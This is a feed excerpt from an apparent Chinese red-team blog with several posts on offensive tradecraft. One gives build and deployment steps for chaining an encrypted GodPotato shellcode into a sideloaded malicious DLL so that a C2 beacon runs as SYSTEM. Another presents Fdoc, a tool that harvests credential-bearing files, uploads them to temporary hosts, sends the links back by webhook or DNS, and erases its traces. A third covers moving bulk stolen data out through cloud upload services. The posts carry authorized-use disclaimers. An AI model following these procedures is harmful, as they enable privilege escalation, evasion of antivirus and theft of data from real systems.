<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>GodPotato 前置条件<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">GodPotato 依赖当前 token 的 <strong>SeImpersonatePrivilege</strong>（常见于服务账户、IIS 应用池、SQL Server 代理等）。普通桌面用户双击 <code>et.exe</code> <strong>通常无法</strong>提到 SYSTEM。白加黑解决的是「落地执行」，不是「无条件提权」。</div>
    </div>
</div>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>角色区分<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><ul>
<li><strong>白加黑（et.exe + 恶意 DLL + et.dat）</strong>：在当前（已有 SeImpersonate 的）进程上下文中解密并执行 GodPotato shellcode。</li>
<li><strong>GodPotato 写死的 cmd</strong>：指向 <strong>beacon</strong>（或其他要 SYSTEM 权限执行的载荷），<strong>不要</strong>再指向同一个 <code>et.exe</code>。</li>
<li><strong>donut 转换的 GodPotato</strong>：属于 CLR/.NET 加载型 shellcode，务必在 DllMain 外（如 <code>CreateThread</code>）执行，见 §5.1。</li>
</ul>
</div>
    </div>
</div>
<div class="mermaid" id="id-6">flowchart TD
    A[&#34;修改 GodPotato：cmd 写死 beacon 路径&#34;] --&gt; B[&#34;编译 newgod.exe&#34;]
    B --&gt; C[&#34;donut 提取 loader.bin&#34;]
    C --&gt; D[&#34;ShellcodeEncrypt.py 加密&#34;]
    D --&gt; E[&#34;重命名为 et.dat&#34;]
    E --&gt; H[&#34;同目录部署&#34;]
    F[&#34;et.exe &#43; krpt.dll&#34;] --&gt; H
    G[&#34;beacon.exe&#34;] --&gt; H
    H --&gt; I[&#34;在具备 SeImpersonate 的上下文中执行 et.exe&#34;]
    I --&gt; J[&#34;DLL（非 DllMain 重活）解密执行 GodPotato&#34;]
    J --&gt; K[&#34;提权后执行 beacon → SYSTEM 会话&#34;]</div>
<h4 id="step-1修改-godpotato写死-beacon-命令">Step 1：修改 GodPotato，写死 beacon 命令</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-csharp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="n">potatoArgs</span> <span class="p">=</span> <span class="k">new</span> <span class="n">newgodArgs</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 指向目标上的 beacon，而非白文件 et.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="p">=</span> <span class="s">&#34;cmd /c c:\\users\\public\\downloads\\beacon.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div>
<p>编译为 <code>newgod.exe</code>。</p>
<h4 id="step-2donut-提取-shellcode">Step 2：donut 提取 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-dos">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code class="language-dos" data-lang="dos">donut.exe -i newgod.exe</code></pre></div>
<p>输出示例：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[ Shellcode     : &#34;loader.bin&#34;
</span></span><span class="line"><span class="cl">[ File type     : .NET EXE
</span></span><span class="line"><span class="cl">[ Target CPU    : x86+amd64</span></span></code></pre></div></div>
<h4 id="step-3加密-shellcode">Step 3：加密 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py loader.bin loader.dat</span></span></code></pre></div></div>
<p>将 <code>loader.dat</code> 改名为加载器约定名称（如与白文件对应的 <code>et.dat</code>）。</p>
<h4 id="step-4部署上线">Step 4：部署上线</h4>
<p>将以下文件放到<strong>同一目录</strong>（路径需与 Step 1 中写死的 beacon 路径一致），例如 <code>C:\Users\Public\Downloads</code>：</p>
<table>
	<thead>
			<tr>
					<th>文件</th>
					<th>作用</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>et.exe</code></td>
					<td>白文件，触发 DLL 加载</td>
			</tr>
			<tr>
					<td><code>krpt.dll</code></td>
					<td>恶意 DLL：读 <code>et.dat</code> → 解密 → 执行</td>
			</tr>
			<tr>
					<td><code>et.dat</code></td>
					<td>加密后的 GodPotato shellcode</td>
			</tr>
			<tr>
					<td><code>beacon.exe</code></td>
					<td>GodPotato 提权后实际拉起的载荷</td>
			</tr>
	</tbody>
</table>
<p>执行 <code>et.exe</code> 后：DLL 在合适时机（非 DllMain 重活）解密执行 GodPotato shellcode →（在具备 SeImpersonate 时）提权 → 以 <strong>SYSTEM</strong> 执行 <code>beacon.exe</code>。</p>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>beacon 落地<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>beacon.exe</code> 以明文落盘仍可能被杀软拦；实战中常对 beacon 再做免杀或改用内存执行链路。本文只演示 GodPotato 与白加黑的衔接关系。</div>
    </div>
</div>]]></description></item><item><title>Fdoc：条件打包、上传外带与回传</title><link>https://blog.leeissonba.com/fdoc-conditional-pack-exfil/</link><pubDate>Tue, 21 Jul 2026 10:25:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/fdoc-conditional-pack-exfil/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/featured.jpg" alt="Fdoc：条件打包、上传外带与回传" referrerpolicy="no-referrer">
            </div><p>拿到一台机器（或一段短暂的 shell）时，目标很少是「把磁盘原样镜像走」。更常见的是按条件筛一批文件、打成可控体积的包，再尽快带回操作侧。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、应急响应与研究使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="1-使用场景">1. 使用场景</h2>
<p>更具体的需求通常包括：</p>
<ul>
<li><strong>类型筛选</strong>：只要特定类型——合同/报表 PDF、Office、配置、压缩包、近期改过的文档</li>
<li><strong>条件叠加</strong>：文件名带 密码/密码本、内容命中凭证写法（可用 <code>-keyword secrets</code>）、mtime 在某天之后</li>
<li><strong>体积与时间受限</strong>：不能无脑打包几十 GB，也不能在目标上挂太久</li>
<li><strong>结果回传</strong>：包打完还不够——文件在目标机上，如何把<strong>下载链接</strong>带回操作侧；父进程/C2 断了也要避免无法取回结果</li>
<li><strong>痕迹控制</strong>：传完尽量不把归档和工具本身留在盘上</li>
</ul>
<p>一个很具体的打法：<strong>刚拿到初始权限，先做一轮短时信息收集</strong>——用后缀/文件名/关键字把敏感配置、文档、表格、源码筛进包，外带回本地再审计。包里常见内网拓扑/地图、密码本、凭证表、运维手册之类，够支撑后续横向，而不是在目标机上慢慢翻盘。</p>
<p>红队外带、应急里抽关键证据、运维「只捞某目录某类文件」——本质都是<strong>选择性外带</strong>，不是备份，也不是全盘取证。</p>
<p><a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc</a> 就是按这个场景做的：在目标上筛、打包、（可选）传、（可选）把链接回传到接收端、（可选）清理。</p>
<h2 id="2-解决什么痛点">2. 解决什么痛点</h2>
<table>
	<thead>
			<tr>
					<th>痛点</th>
					<th>Fdoc 怎么对上</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>整盘/整目录打包又慢又大，真正有用的只占一小撮</td>
					<td>后缀/文件名/内容/日期组合过滤 + 默认 documents；凭证可用 <code>-keyword secrets</code></td>
			</tr>
			<tr>
					<td>先扫完全部路径再压，大目录内存和耗时难看</td>
					<td>流式 Walk + 写 tgz</td>
			</tr>
			<tr>
					<td>包在目标机上，会话一断链接拿不回来</td>
					<td>webhook / DNS 回传，和 C2 生命周期解耦</td>
			</tr>
			<tr>
					<td>临时托管哪个能用、体积限制各不相同</td>
					<td>按大小 auto probe + failover，也可指定渠道</td>
			</tr>
			<tr>
					<td>明文归档直接上传不放心</td>
					<td>可选加密</td>
			</tr>
			<tr>
					<td>传完还想少留工具和包</td>
					<td>可选 scrub；失败可观测（exit / <code>SCRUB_PARTIAL</code>）</td>
			</tr>
			<tr>
					<td>工具链拆太碎（打包器 + 上传器 + 解密器）</td>
					<td>一个二进制覆盖打包 / 上传 / 解密 / 渠道表</td>
			</tr>
	</tbody>
</table>
<p>一句话：</p>
<p><strong>在「只能短时间待在目标上、又只要部分文件、还得把结果弄回家」的约束下，Fdoc 把筛选、打包、外带和回传收成一条可脚本化的命令链。</strong></p>
<h2 id="3-大致逻辑">3. 大致逻辑</h2>
<p>一条主链路：</p>
<p><strong>解析参数 → 从 <code>-d</code> Walk → 按规则过滤 → 流式写入 <code>.tgz</code> →（可选）加密并上传临时托管 →（可选）webhook/DNS 回传 URL →（可选）scrub</strong></p>
<p>对每个文件，过滤是固定顺序的「且」条件链（未配置的项视为通过）：</p>
<p>跳过 <code>-x</code> 目录 → 普通文件或可跟随的文件 symlink → <code>-e</code> 后缀 → <code>-f</code> 文件名 → <code>-t</code> 日期 → <code>-k</code>/<code>-keyword</code> 内容 → <code>-max-file</code> → 是否触达 <code>-max</code> 总大小。</p>
<p>同一参数里逗号是「或」。例如：<code>-e pdf -f invoice -t 2024-01-01</code> 表示三者同时满足；<code>-keyword password:,token:</code> 表示内容命中其一即可。也可用预设：<code>-keyword secrets</code>（别名 <code>creds</code>）展开为赋值/JSON 凭证子串。条件细则与预设表见 <a href="#41-%e5%a4%9a%e6%9d%a1%e4%bb%b6%e7%ad%9b%e9%80%89%e6%96%87%e4%bb%b6" rel="">4.1 多条件筛选文件</a>。</p>
<p>体积与退出行为：</p>
<ul>
<li><strong>默认软上限</strong>：总预算按逻辑大小记账，默认 1GB；单文件 <code>-max-file</code> 默认关闭（<code>0</code>）</li>
<li><strong>未显式传 <code>-max</code></strong>：触达总预算时直接失败（exit 1），并提示显式加上（或 <code>-max 0</code> 关闭），避免静默截断</li>
<li><strong>显式传了 <code>-max</code></strong>：截断并保留已打部分（退出码 2）；若开了上传，残包仍可能被传上去——方便「先带走能带走的」</li>
<li><strong>超大单文件</strong>：需要跳过时再显式加 <code>-max-file</code></li>
</ul>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>先估再打<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">不清楚会匹配多大时，建议先跑 <code>-size</code>（只统计、不打包），看磁盘占用与逻辑大小，再决定是否打包或加 <code>-max</code>。</div>
    </div>
</div>
<p>不加 <code>-upload</code> 时只本地打包，不联网。加了之后才走探测渠道、上传和回传。</p>
<h2 id="4-特色功能">4. 特色功能</h2>
<h3 id="41-多条件筛选文件">4.1 多条件筛选文件</h3>
<p>可按后缀、文件名、内容、日期、跳过目录等收窄目标集；条件之间为「且」、同参逗号为「或」，规则见 <a href="#3-%e5%a4%a7%e8%87%b4%e9%80%bb%e8%be%91" rel="">3. 大致逻辑</a>。</p>
<table>
	<thead>
			<tr>
					<th>条件</th>
					<th>参数</th>
					<th>说明</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>后缀</td>
					<td><code>-e</code></td>
					<td>扩展名过滤；可写 <code>pdf,docx</code>，也可用预设少打字</td>
			</tr>
			<tr>
					<td>文件名</td>
					<td><code>-f</code></td>
					<td>路径名模糊包含（如 <code>invoice,secret</code>）</td>
			</tr>
			<tr>
					<td>内容关键字</td>
					<td><code>-k</code> / <code>-keyword</code></td>
					<td>在文件内容里搜（跳过明显二进制；单文件最多扫约 8MB）。字面量逗号=或；预设 <code>secrets</code>/<code>creds</code> 展开为 <code>password=</code>、<code>&quot;password&quot;:</code> 等赋值/JSON 变体，可混用字面量</td>
			</tr>
			<tr>
					<td>修改时间</td>
					<td><code>-t</code></td>
					<td>只收该日及之后改过的（<code>YYYY-MM-DD</code>）</td>
			</tr>
			<tr>
					<td>跳过目录</td>
					<td><code>-x</code></td>
					<td>默认有各 OS 缓存/垃圾目录列表；显式传 <code>-x</code> 会整表覆盖</td>
			</tr>
	</tbody>
</table>
<p><code>-e</code> 预设：</p>
<table>
	<thead>
			<tr>
					<th>取值</th>
					<th>含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>documents</code>（默认）</td>
					<td>pdf/doc/xls/ppt/csv</td>
			</tr>
			<tr>
					<td><code>all</code></td>
					<td>常见文档 + 压缩包 + config（仍不是磁盘上任意文件）</td>
			</tr>
			<tr>
					<td><code>any</code></td>
					<td>不限后缀</td>
			</tr>
			<tr>
					<td><code>pdf,txt,...</code></td>
					<td>显式列表</td>
			</tr>
	</tbody>
</table>
<p><code>-keyword</code> 预设：</p>
<table>
	<thead>
			<tr>
					<th>取值</th>
					<th>含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>secrets</code> / <code>creds</code></td>
					<td>凭证赋值/JSON 子串（<code>password:</code>、<code>password =</code>、<code>&quot;password&quot;:</code>、<code>api_key=</code>、<code>密码：</code> 等）；可写 <code>-keyword secrets,corp_sso=</code></td>
			</tr>
	</tbody>
</table>
<p>示例：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Fdoc -d /data -e pdf -f invoice -keyword <span class="s1">&#39;token:&#39;</span> -t 2025-01-01 -o hits.tgz
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz</span></span></code></pre></div></div>
<p>关于链接：Unix/macOS <strong>文件符号链接会跟随</strong>（内容取目标，入包名用链接路径）；目录 symlink 不进入。Windows <code>.lnk</code> 不解析目标，仅当 <code>-e</code> 命中时打包快捷方式文件本身。</p>
<h3 id="42-边扫边打带体积预算">4.2 边扫边打，带体积预算</h3>
<p>不先罗列再压缩，内存占用可控。<code>-size</code> 可先估再打。长任务有 <code>PACK_PROGRESS</code> / <code>UPLOAD_PROGRESS</code> 心跳，适合无头环境。</p>
<h3 id="43-内嵌上传按体积自动选临时渠道">4.3 内嵌上传：按体积自动选临时渠道</h3>
<p><code>-upload</code> 后按归档大小筛渠道、并行探测、按延迟 failover；也可用 <code>-b</code> 钉死某一渠道（演示里常见如 <code>-b lit</code>）。完整渠道名与体积阈值以 <code>Fdoc backends</code> 输出为准。无回传时 URL 打在 stdout，脚本好接；状态行在 stderr（<code>UPLOAD_OK</code> 等）。</p>
<h3 id="44-回传与会话解耦">4.4 回传与会话解耦</h3>
<p>配 <code>-webhook</code> / <code>-dns</code> 时，下载链接推到接收端：HTTPS webhook 优先，失败再用 DNSLog 分片。父会话挂了，仍可能从回传里捞 URL。stdout/stderr 分工固定，避免脚本和人工抢输出。</p>
<h3 id="45-上传前加密可选">4.5 上传前加密（可选）</h3>
<p><code>-encrypt -key</code>：AES-256-CBC，线格式带 <code>UP01</code> 魔数；远端统一 <code>.bin</code>，避免当成普通 gzip 解。内置 <code>Fdoc decrypt</code>，不必再带第二套工具。密钥是口令 pad 到 32 字节（不是 PBKDF2），按共享口令模型用即可。</p>
<h3 id="46-可选收尾-scrub">4.6 可选收尾 scrub</h3>
<p>上传成功（若配了回传则还要回传成功）后删归档和自身。Windows 上自删是 best-effort（延迟删 / 重启删），失败会 <code>SCRUB_PARTIAL</code> 并以非 0 退出。</p>
<h3 id="47-跨平台静态二进制">4.7 跨平台静态二进制</h3>
<p>发行物为无依赖静态单文件，覆盖 Linux / Windows / macOS（含 amd64 与 arm64）。同一套参数在各平台可用；Windows 上 scrub、SkipDirs、<code>.lnk</code> 行为见上文与发行说明。</p>
<h2 id="5-最小示例">5. 最小示例</h2>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 不清楚体积时先估大小</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -size
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 打包</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 配置/JSON 里捞凭证写法</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 上传，链接打到 stdout</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -o /tmp/docs.tgz -upload -q
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 加密上传 + webhook 回传 + 清理</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz <span class="se">\
</span></span></span><span class="line"><span class="cl">  -upload -encrypt -key <span class="s2">&#34;</span><span class="nv">$KEY</span><span class="s2">&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -webhook https://your.receiver/hook <span class="se">\
</span></span></span><span class="line"><span class="cl">  -scrub -q</span></span></code></pre></div></div>
<p>DNS 分片格式、加密磁盘占用、Windows SkipDirs 等细节见 <a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc 仓库 README</a>。</p>
<h2 id="6-终端演示">6. 终端演示</h2>
<p>下面四段演示覆盖主路径：估大小 → 多条件筛选打包 → 指定渠道上传 → 上传并 webhook 回传。</p>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" title="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-sub-html="<h2>估大小（-size）</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/01-size.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">估大小（<code>-size</code>）</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" title="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-sub-html="<h2>多条件筛选后打包</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">多条件筛选后打包</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" title="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-sub-html="<h2>上传（-b lit）</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">上传（<code>-b lit</code>）</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" title="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-sub-html="<h2>上传 &#43; webhook 回传</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">上传 + webhook 回传</figcaption>
    </figure>]]></description></item><item><title>C2 大文件传输：通过云上传拆分数据通道</title><link>https://blog.leeissonba.com/c2-large-file-exfil-via-cloud-upload/</link><pubDate>Thu, 16 Jul 2026 23:16:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/c2-large-file-exfil-via-cloud-upload/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/featured.jpg" alt="C2 大文件传输：通过云上传拆分数据通道" referrerpolicy="no-referrer">
            </div><p>C2 适合命令控制和轻量交互，不适合持续传输大文件。授权测试中可将数据流量拆分到临时云上传服务，C2 仅负责下发命令和回传下载链接。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试与研究使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="1-为什么拆分数据通道">1. 为什么拆分数据通道</h2>
<p>直接通过 C2 下载大文件有四类问题：</p>
<ul>
<li><strong>带宽占用</strong>：批量传输会阻塞命令交互和心跳。</li>
<li><strong>可靠性</strong>：sleep、jitter、超时和较弱的断点续传能力会增加重传成本。</li>
<li><strong>链路开销</strong>：编码、分片、pivot、SOCKS 和多级跳板会增加流量、延迟和失败点。</li>
<li><strong>基础设施暴露</strong>：持续的大流量会集中指向 C2 服务端，并影响共用 Team Server 的其他会话。</li>
</ul>
<p>拆分后的流程如下：</p>
<ol>
<li>在目标上整理好文件或目录</li>
<li>由目标主机上传到当前网络可访问的临时存储服务</li>
<li>C2 回传下载链接</li>
<li>测试人员从独立环境下载文件</li>
</ol>
<p>控制流量继续走 C2，大文件流量走「目标 → 上传服务」。</p>
<h2 id="2-uploader-的处理流程">2. Uploader 的处理流程</h2>
<p><a href="https://github.com/simonlee-hello/uploader" target="_blank" rel="noopener noreffer ">Uploader</a> 基于 <a href="https://github.com/Mikubill/transfer" target="_blank" rel="noopener noreffer ">Mikubill/transfer</a> 的多后端思路实现，主要能力如下：</p>
<ul>
<li><code>backends</code>：列出后端、大小限制、状态和 URL。</li>
<li><code>probe</code>：检查当前网络中的可达性和延迟。</li>
<li>自动模式：按文件大小过滤后端，探测后按延迟尝试，失败后切换后端。</li>
<li>大小预检：上传前检查文件或目录估算大小是否超过后端限制。</li>
<li>目录处理：默认使用 Deflate 生成临时 ZIP，上传结束后删除；<code>-r</code> 改为逐文件上传。</li>
<li>加密：<code>-e -k</code> 使用 AES-256-CBC，文件格式为 <code>UP01</code> 文件头、随机 IV 和密文。</li>
<li>脚本输出：<code>-q</code> 仅向标准输出写入成功链接，错误写入标准错误。</li>
</ul>
<p>后端状态会随服务和网络变化，执行时应以 <code>uploader probe</code> 的结果为准。</p>
<h2 id="3-命令示例">3. 命令示例</h2>
<figure><a class="lightgallery" href="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" title="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-thumbnail="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-sub-html="<h2>Uploader 演示：backends / probe / 上传 / 安静模式 / 加密</h2>">
        <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Uploader 演示：backends / probe / 上传 / 安静模式 / 加密</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader -q ./evidence</span></span></code></pre></div></div>
<p>不指定 <code>-b</code> 时执行：大小过滤 → 探测 → 按延迟排序 → 失败切换。目录会先打包；成功时输出一行下载链接。</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 固定使用 lit</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 优先使用 lit，失败时允许切换</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit -auto ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 逐文件上传目录</span>
</span></span><span class="line"><span class="cl">uploader -q -r ./dir
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 加密后上传</span>
</span></span><span class="line"><span class="cl">uploader -q -e -k <span class="s1">&#39;your-key&#39;</span> ./secret.bin</span></span></code></pre></div></div>
<p>查看和探测后端：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader backends
</span></span><span class="line"><span class="cl">uploader probe
</span></span><span class="line"><span class="cl">uploader probe temp lit gof -timeout <span class="m">20</span></span></span></code></pre></div></div>
<p>退出码：<code>0</code> 表示成功，<code>1</code> 表示上传或配置失败，<code>2</code> 表示参数错误。<code>-keep</code> 会等待键盘输入，不适用于无头执行。</p>
<h2 id="4-使用限制与检查项">4. 使用限制与检查项</h2>
<ol>
<li>先确认目标出口、代理、白名单和 TLS 检查策略，再用小文件验证链路。</li>
<li>公共上传服务可能记录来源、扫描内容并限制文件类型、容量和保存时间；使用前应确认项目合规要求。</li>
<li>目录模式会在磁盘生成临时 ZIP；如不允许落地，使用 <code>-r</code> 或改用其他传输方案。</li>
<li>AES-256-CBC 只解决传输内容的保密性，不应替代文件完整性校验和密钥管理。</li>
<li>文件名也可能泄露信息，应使用不包含业务含义的名称。</li>
<li>下载完成后清理临时文件、工具和命令历史，并在链接失效前取回数据。</li>
</ol>]]></description></item><item><title>Windows 白加黑技术剖析</title><link>https://blog.leeissonba.com/windows-dll-hijacking-analysis/</link><pubDate>Fri, 19 Dec 2025 13:34:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/windows-dll-hijacking-analysis/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/featured.jpg" alt="Windows 白加黑技术剖析" referrerpolicy="no-referrer">
            </div><p>白加黑（Binary Hijacking / DLL Hijacking）是红队与免杀场景中常见的手法：借助合法签名的白程序加载攻击者控制的恶意 DLL，在绕过静态检测的同时实现代码执行。本文从 DLL 基础知识出发，梳理隐式/显式加载、搜索顺序与实战验证流程。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、安全研究与防御评估使用。请勿用于未授权系统。</div>
    </div>
</div>
